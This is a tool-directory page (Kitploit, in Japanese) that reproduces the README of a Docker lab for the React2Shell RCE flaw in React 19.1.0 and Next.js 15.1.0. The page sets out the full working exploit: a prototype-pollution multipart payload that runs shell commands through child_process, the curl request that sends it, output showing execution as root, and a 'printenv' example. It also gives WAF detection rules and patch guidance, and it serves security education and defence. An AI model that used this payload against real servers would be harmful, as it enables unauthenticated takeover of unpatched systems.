Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2025-55182-test-lab-windows — Dockerベースのテストラボ for CVE-2025-55182 (React2Shell) RCE脆弱性 (React 19.1.0/Next.js 15.1.0)。エクスプロイトスクリプト、NGINX/ModSecurityによるWAFバイパステスト、およびパッチ済みバージョンの比較を含む (セキュリティ教育用)。 | Kitploit
ツール/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
脆弱性分析エクスプロイトウェブアプリケーション悪用WAFバイパスCTFペネトレーションテスト学習と教育ペイロード開発ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Dockerベースのテストラボ for CVE-2025-55182 (React2Shell) RCE脆弱性 (React 19.1.0/Next.js 15.1.0)。エクスプロイトスクリプト、NGINX/ModSecurityによるWAFバイパステスト、およびパッチ済みバージョンの比較を含む (セキュリティ教育用)。

リポジトリを見る
8ヶ月前未レビュー

CVE-2025-55182 (React2Shell) テスト

⚠️ 警告: 実際に動作するリモートコード実行(RCE)脆弱性を含んでいます。

📋 目次

  • 概要
  • 脆弱性情報
  • クイックスタート
  • 実際の攻撃デモ
  • テスト環境
  • WAF防御ルール
  • ファイル構成
  • 参考資料
  • 法的通知

概要

CVE-2025-55182 (React2Shell) 脆弱性テストのためのコンテナテスト環境です。

主な特徴

  • ✅ 実際の脆弱性再現 - React 19.1.0 / Next.js 15.1.0 環境
  • ✅ RCE攻撃成功 - 実際のコマンド実行確認
  • ✅ WAF防御テスト - NGINX及びApache ModSecurityルール設定
  • ✅ パッチバージョン比較 - 脆弱バージョン vs パッチバージョンテスト
  • ✅ 完全なDocker環境 - 分離されたコンテナ環境

攻撃結果

root@kitploit:~
🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

脆弱性情報

CVE-2025-55182 (React2Shell)

CVSSスコア: 10.0 (CRITICAL)
影響: リモートコード実行 (RCE)
認証要件: なし
攻撃ベクタ: ネットワーク

脆弱なバージョン

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

パッチ適用済みバージョン

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

攻撃原理

  1. Prototype Pollution - $1:__proto__:then によるプロトタイプ汚染
  2. Function Constructorへのアクセス - Blob逆シリアル化($Bプレフィックス)を介したアクセス
  3. 任意コード実行 - 攻撃者が制御するコードで関数生成
  4. システムコマンド実行 - child_process を介したRCE
root@kitploit:~
// 攻撃ペイロード構造
{
  "then": "$1:__proto__:then",           // Object.prototype.then汚染
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob逆シリアル化トリガー
  "_response": {
    "_prefix": "悪意のあるコード",        // 実行するコード
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructorへのアクセス
    }
  }
}

クイックスタート

前提条件

  • Docker Desktop
  • Node.js 20+ (ローカルテスト用、任意)
  • 最低4GB RAM
  • 2GB以上の空きディスク容量

ステップ1: 環境の起動

Windows (PowerShell):

root@kitploit:~
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

ステップ2: 状態確認

root@kitploit:~
.\run-tests.ps1 status

すべてのコンテナが healthy 状態になるまで待つ必要があります(約1〜2分かかります)。

ステップ3: 攻撃の実行

Windows (PowerShell):

root@kitploit:~
# 方法1: PowerShellスクリプトを使用(推奨)
.\tests\exploit-working.ps1

# 方法2: Node.js直接実行
node tests\exploit-working.js

ステップ4: 結果の確認

サーバーログからコマンド実行結果を確認できます:

root@kitploit:~
docker compose logs vulnerable-app --tail=20

攻撃デモ

自動化された攻撃スクリプト

exploit-working.js ⭐ 推奨

Windows:

root@kitploit:~
# PowerShellスクリプト(推奨)
.\tests\exploit-working.ps1

# またはNode.js直接実行
node tests\exploit-working.js

実行内容:

  • ✅ 任意のシェルコマンド実行
  • ✅ サーバーログからコマンド出力をキャプチャ
  • ✅ 複数コマンドの自動テスト
  • ✅ 詳細な脆弱性レポート提供

テストされるコマンド:

  • whoami - 現在のユーザー (root)
  • hostname - コンテナのホスト名
  • pwd - 作業ディレクトリ (/app)
  • id - フルユーザー情報
  • uname -a - システム情報
  • node --version - Node.jsバージョン

手動攻撃

curlを使用した直接攻撃

root@kitploit:~
# ペイロードファイル作成
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 攻撃送信
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# ログ実行確認
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

カスタムコマンドの実行

攻撃スクリプトを修正して任意のコマンドを実行できます:

root@kitploit:~
// exploit-working.js ファイル内:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'アプリケーションディレクトリ一覧' },
  { name: 'env', cmd: 'printenv', desc: '環境変数出力' }
]

テスト環境

Dockerコンテナ

アプリケーション環境

  • フレームワーク: Next.js 15.1.0 (App Router)
  • Reactバージョン: 19.1.0 (脆弱)
  • Node.js: 20.19.6

テストシナリオ

シナリオ1: 脆弱バージョンへの攻撃

root@kitploit:~
# 動作する攻撃を実行
node tests/exploit-working.js

# 予想結果: コマンド実行成功
# 出力: ユーザー情報、システム詳細など

シナリオ2: パッチ適用済みバージョンのテスト

Windows (PowerShell):

root@kitploit:~
# PowerShellスクリプトを使用
.\tests\exploit-working.ps1 -Port 3001

予想結果: 攻撃失敗 (React 19.1.2が攻撃をブロック)

シナリオ3: WAFブロックテスト

Windows (PowerShell):

root@kitploit:~
# NGINX WAFを通じた攻撃試行
.\tests\exploit-working.ps1 -Port 8080

予想結果: WAFルールによりブロック


WAF防御ルール

NGINX防御ルール

場所: nginx/nginx.conf

検出パターン:

  1. Prototype Pollution - __proto__, constructor:constructor
  2. Flight Protocol悪用 - $X:__proto__, $B参照
  3. Gadget Chain - child_process, execSync, require()
  4. URLエンコード回避 - %5f%5fproto%5f%5f
  5. 疑わしいヘッダー - Next-Action: #constructor

ブロック動作:

root@kitploit:~
HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache ModSecurityルール

場所: apache/modsecurity-rules.conf

ルールID範囲: 100001-100017

主要ルール:

  • 100001: __proto__検出
  • 100002: Constructor chainアクセス
  • 100003-100004: Flight protocol悪用
  • 100006-100007: Gadget chainパターン
  • 100008-100011: RCE試行 (child_process, exec, spawn, require)
  • 100015: 疑わしいNext-Actionヘッダー
  • 100017: 異常スコアベースのブロック

WAFテスト

root@kitploit:~
# NGINXブロックテスト
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 予想応答: HTTP 403

# ModSecurityブロックテスト
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 予想応答: HTTP 403

WAFログ確認

root@kitploit:~
# NGINXセキュリティログ
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity監査ログ
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ WAF制限事項

重要: 現在のWAF構成には以下の制限があります:

NGINX (ポート8080)

  • ❌ Request bodyを検査しない
  • NGINXのデフォルト設定はURL、クエリパラメータ、ヘッダーのみ検査
  • Exploitペイロードは multipart/form-data bodyに含まれており検出されない
  • 解決策: lua-nginx-moduleまたは別途のWAFソリューションが必要

Apache ModSecurity (ポート8081)

  • ⚠️ Next.jsがPOSTリクエストを拒否 (405 Method Not Allowed)
  • ModSecurityは有効化されておりbody検査も可能
  • ただし Next-Action ヘッダーが必要であり、このヘッダーだけでは十分な保護は不可
  • 現在の状態: WAFがbodyを検査する前に405応答

実際の攻撃防御:

  • ✅ 最も効果的な方法: React/Next.jsをパッチ適用済みバージョンにアップグレード (ポート3001、8082)
  • ⚠️ WAFは部分的な保護のみ提供: Body検査が必要な攻撃には制限的

ファイル構成

root@kitploit:~
cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker環境設定
├── run-tests.ps1                       # Windows実行スクリプト
├── run-tests.sh                        # Linux/Mac実行スクリプト
│
├── vulnerable-app/                     # 脆弱バージョンアプリケーション
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # 基本レイアウト
│   │   ├── page.js                     # メインページ
│   │   └── api/
│   │       └── health/                 # ヘルスチェックエンドポイント
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # 脆弱性解決バージョンアプリケーション
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # 攻撃スクリプト
│   ├── exploit-working.js              # RCE攻撃 (Node.js)
│   ├── exploit-working.ps1             # RCE攻撃 (PowerShell)
│   └── exploit-working.cmd             # RCE攻撃 (バッチファイル)
│
├── nginx/                              # NGINX WAF設定
│   ├── nginx.conf                      # CVE-2025-55182ブロックルール
│   └── nginx-patched.conf              # プロキシ設定
│
└── apache/                             # Apache ModSecurity設定
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurityブロックルール

攻撃確認方法

方法1: スクリプト出力の確認

攻撃スクリプトが直接結果を表示します:

root@kitploit:~
[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

方法2: サーバーログモニタリング

root@kitploit:~
# リアルタイムログモニタリング
docker compose logs -f vulnerable-app

# 確認が必要な項目:
# [EXPLOIT] Executing: whoami
# [RESULT] root

方法3: 攻撃指標の確認

root@kitploit:~
# 攻撃が実行されたか確認
docker compose exec vulnerable-app ps aux | grep node

# ファイルシステム変更確認(ファイルを作成した場合)
docker compose exec vulnerable-app ls -la /tmp

対策方法

npmパッチ

  1. Reactのアップグレード - 19.1.2以上をインストール:

    root@kitploit:~
    npm install react@^19.1.2 react-dom@^19.1.2
    
  2. Next.jsのアップグレード - 15.1.9以上をインストール:

    root@kitploit:~
    npm install next@^15.1.9
    
  3. 再ビルドと再デプロイ:

    root@kitploit:~
    npm run build
    # プロダクション環境にデプロイ
    

パッチ後の検証

Windows (PowerShell):

root@kitploit:~
# パッチ適用済みバージョンでテスト
.\tests\exploit-working.ps1 -Port 3001

# または
$env:TARGET_PORT=3001; node tests\exploit-working.js

Linux/Mac:

root@kitploit:~
# パッチ適用済みバージョンでテスト
TARGET_PORT=3001 node tests/exploit-working.js

結果例: ℹ️ Exploitation failed

パッチ適用不可の場合のセキュリティ対策

  1. WAFルールのデプロイ - 本プロジェクトのNGINX/ModSecurityルールを使用
  2. ネットワークセグメンテーション - 外部アクセス制限
  3. Rate Limiting - Server Actionエンドポイントに制限適用
  4. ログモニタリング - 攻撃試行ログの監視

Dockerコマンド

環境管理

root@kitploit:~
# 起動
.\run-tests.ps1 start

# 状態確認
.\run-tests.ps1 status

# ログ表示
.\run-tests.ps1 logs

# 停止
.\run-tests.ps1 stop

# 初期化(全コンテナとボリュームを削除)
.\run-tests.ps1 clean

トラブルシューティング

攻撃が動作しない場合

Windows (PowerShell):

root@kitploit:~
# 1. バージョン確認
docker compose exec vulnerable-app npm list react next

# 以下のように表示されること:
# [email protected]
# [email protected]

# 2. サーバーが応答するか確認
curl http://localhost:3000

# 3. Dockerログ確認
docker compose logs vulnerable-app --tail=50

# 4. コンテナ再起動
docker compose restart vulnerable-app

出力値の確認ができない場合

Windows (PowerShell):

root@kitploit:~
# PowerShellでログフィルタリング
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

Docker Desktopが起動しない(Windows専用)

エラー症状:

root@kitploit:~
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

解決方法:

  1. Docker Desktopを起動
  2. トレイアイコンが緑色か確認
  3. docker ps コマンドで確認

PowerShellスクリプトの実行不可(Windows専用)

エラー症状:

root@kitploit:~
このシステムではスクリプトの実行が無効になっているため...

解決方法:

root@kitploit:~
# 現在のセッションのみに適用
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# または直接実行
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

権限エラー

Dockerが実行中で権限があるか確認:

全プラットフォーム:

root@kitploit:~
docker compose ps

ポート競合

別のアプリケーションがポートを使用している場合:

Windows (PowerShell):

root@kitploit:~
# ポート使用プロセス確認
netstat -ano | findstr :3000

# プロセス終了(PID確認後)
taskkill /PID <PID> /F

全プラットフォーム (docker-compose.yml修正):

root@kitploit:~
# ポートを変更して競合回避
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # 3000 → 3010に変更

WAFが動作しない場合

全プラットフォーム:

root@kitploit:~
# NGINX設定テスト
docker compose exec nginx nginx -t

# Apache設定テスト
docker compose exec apache apachectl configtest

# ログ確認
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

参考資料

公式セキュリティ勧告

  • React セキュリティ勧告
  • Vercel CVE-2025-55182サマリ
  • Next.js CVE-2025-66478勧告
  • NVD - CVE-2025-55182

技術分析

  • Datadog Security Labs - CVE-2025-55182
  • Wiz Blog - Reactの重大なRCE
  • Palo Alto Unit42分析
  • Kasperskyブログ
  • OX Securityブログ

Proof of Concepts

  • msanft/CVE-2025-55182
  • dwisiswant0/CVE-2025-55182
  • EynaExp/CVE-2025-55182-POC
  • Spritualkb/CVE-2025-55182-exp
  • ejpir/CVE-2025-55182-research

ライセンス

このプロジェクトは教育およびセキュリティ研究目的で提供されます。

使用制限:

  • 承認されたセキュリティテスト用途のみで使用
  • 悪意ある目的での修正禁止
ツールをダウンロード
ポートサービスReactバージョン用途WAF状態
3000vulnerable-app19.1.0脆弱 - CVE-2025-55182テスト❌ 保護なし
3001patched-app19.1.2安全 - パッチ効果検証✅ パッチ済み
8080nginx → vulnerable19.1.0WAFテスト (NGINX)⚠️ 制限あり(body未検査)
8081apache → vulnerable19.1.0WAFテスト (ModSecurity)⚠️ 制限あり(405応答)
8082nginx → patched19.1.2二重保護テスト✅ パッチ済み